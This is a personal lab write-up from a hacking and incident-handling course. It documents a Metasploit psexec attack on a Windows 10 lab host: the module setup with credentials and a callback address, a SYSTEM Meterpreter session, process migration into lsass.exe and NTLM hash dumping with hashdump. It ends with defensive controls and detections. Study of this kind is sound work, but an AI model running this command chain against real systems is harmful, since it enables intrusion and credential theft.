SEC504 - Hacker Tools, Techniques, and Incident Handling

Post-Exploitation with Metasploit and Meterpreter

Solo, Lab

Print command sheet

Focus: Incident Response

Level: SEC504

Date: Aug 2026

Artifacts: Sanitized msfconsole and Meterpreter session output from the SEC504 lab against a Windows 10 target

TL;DR

•psexec is authenticated code execution: valid credentials are the exploit, opening a SYSTEM Meterpreter session
•migrate -N lsass.exe moved into a stable process and switched the session to x64
•hashdump recovered local NTLM hashes, turning one compromised host into credentials for the next

Skills demonstrated

Metasploit module search, selection, and configurationCredentialed exploitation with psexecMeterpreter session management (background, sessions, interact)Post-exploitation situational awareness (sysinfo, ps, getuid)Process migration and credential dumping (hashdump)

Note: Course-provided PCAPs and lab instructions are not shared. Only my own captures and sanitized notes are published.

Why this matters

psexec is not a memory-corruption exploit; it is authenticated user code execution, which means the valid credentials recovered in the SMB and password labs are the exploit. Process migration into lsass.exe is the move that makes a session survive and matches the target architecture, and hashdump is how one compromised host becomes credentials for the next. Understanding this chain from the defender's side is what connects a leaked password to full domain-adjacent compromise.

Context

This lab runs the full Metasploit workflow against a Windows target using psexec: search for a module, configure it, get a session, and then work post-exploitation inside Meterpreter (situational awareness, process migration, and credential dumping). The key framing is that psexec is authenticated code execution, valid credentials are the exploit, which is why it matters so much that credentials leak in the earlier labs.

Tools used

Metasploit 6.4.74MeterpreterpsexecWindows 10Slingshot Linux

Steps taken

1Search and select the module

search type:exploit psexec listed the psexec family, including smb_relay (MS08-068), ms17_010_psexec (EternalBlue and friends), and the plain smb/psexec authenticated module. info showed it is Privileged: Yes, Rank: Manual, and offers PowerShell/Native/MOF/Command targets. This is authenticated code execution, not a CVE exploit.

$ search type:exploit psexec
$ use exploit/windows/smb/psexec
$ info

typeexploit filters the search; info shows options and targets

2Configure and run

Set RHOSTS (the target), SMBUser/SMBPass (the credentials, which are the actual exploit), and LHOST (the callback). exploit authenticated as sec504, selected the PowerShell target, and sent the payload.

$ set RHOSTS 10.10.0.1
$ set SMBUser sec504
$ set SMBPass sec504
$ set LHOST 10.10.75.1
$ exploit

SMBUser/SMBPass = the credentials that make psexec work

3Confirm the session and SYSTEM

The exploit opened Meterpreter session 1. background dropped back to the console; sessions listed it as NT AUTHORITY\SYSTEM @ SEC504STUDENT; sessions 1 re-entered it. sysinfo confirmed Windows 10 21H2 in the SEC504 domain. Sessions are backgroundable and re-enterable, which is how an operator juggles multiple hosts.

$ background
$ sessions
$ sessions 1
$ sysinfo

background/sessions/interactsession management; already SYSTEM

4Situational awareness

execute -if systeminfo pulled full host detail (VMware, patch level, 6 hotfixes). getuid confirmed NT AUTHORITY\SYSTEM. ps listed every process with PID, PPID, user, and path, which is what you read before deciding where to migrate.

$ execute -if systeminfo
$ getuid
$ ps
$ getpid

getuidcurrent context

psprocess list for a migration target

5Migrate into lsass.exe

The initial session was x86 with PID 6056. migrate -N lsass.exe moved into the LSASS process; sysinfo afterward reported x64/windows. Migration does two things: it hides the session inside a critical always-running process, and it matches the host architecture so 64-bit post-exploitation tooling works.

$ getpid
$ migrate -N lsass.exe
$ sysinfo

-N <name>migrate by process name; also fixes x86 -> x64

6Dump local credentials

hashdump read the local SAM: Administrator, DefaultAccount, Guest (all showing the empty-password NTLM hash 31d6cfe0...), plus the Sec504 and WDAGUtilityAccount hashes. This is how a single host compromise becomes credentials to attack the next one.

$ hashdump

31d6cfe0d16ae931b73c59d7e0c089c0 = empty-password NTLM hash

Key findings

psexec opened a session as NT AUTHORITY\SYSTEM using valid credentials, not an exploit

Meterpreter sessions are backgroundable and re-enterable by ID

migrate -N lsass.exe moved into a stable process and switched the session to x64

hashdump recovered local NTLM hashes incl. the empty-password hash 31d6cfe0...

Outcome / Lessons learned

Ran the full Metasploit-to-Meterpreter workflow: selected psexec, authenticated with valid credentials, opened a SYSTEM session, gathered situational awareness, migrated into lsass.exe (moving to x64 and a stable process), and dumped local NTLM hashes. Every step reinforced that credentials, not a CVE, were the exploit.

Because psexec relies on valid admin credentials over SMB, the defenses are credential-centric: enforce LAPS so local admin passwords are unique per host (preventing pass-the-hash reuse), restrict which accounts can authenticate over SMB to which hosts, and enable Credential Guard to protect LSASS from hashdump. Alert on service creation via SMB (the psexec technique), on remote 4624/4672 logons by admin accounts, and on process access to lsass.exe.

Security controls relevant

LAPS (unique local admin passwords) to stop hash reuse
Credential Guard / LSASS protection against hashdump
Restricting SMB admin authentication by account and host
Detection of remote service creation (psexec technique)
Alerting on lsass.exe process access and remote admin logons

What I took away from this

psexec reframes what an exploit is. There is no CVE here, no memory corruption; the module authenticates with a username and password and runs code because that is what those credentials are allowed to do. This is exactly why the earlier credential-leak labs matter: a password found in an SMB share or cracked from a hash dump is a working exploit against every host that trusts it. The vulnerability is credential reuse, not a patchable bug.

Migration into lsass.exe is the quiet, important move. It hides the session inside a process that can never be killed without crashing the host, and it aligns the session architecture with the target so full tooling works. For a defender, process access to lsass is a high-value detection: it is both where attackers hide and where they dump credentials, so monitoring it catches two techniques at once.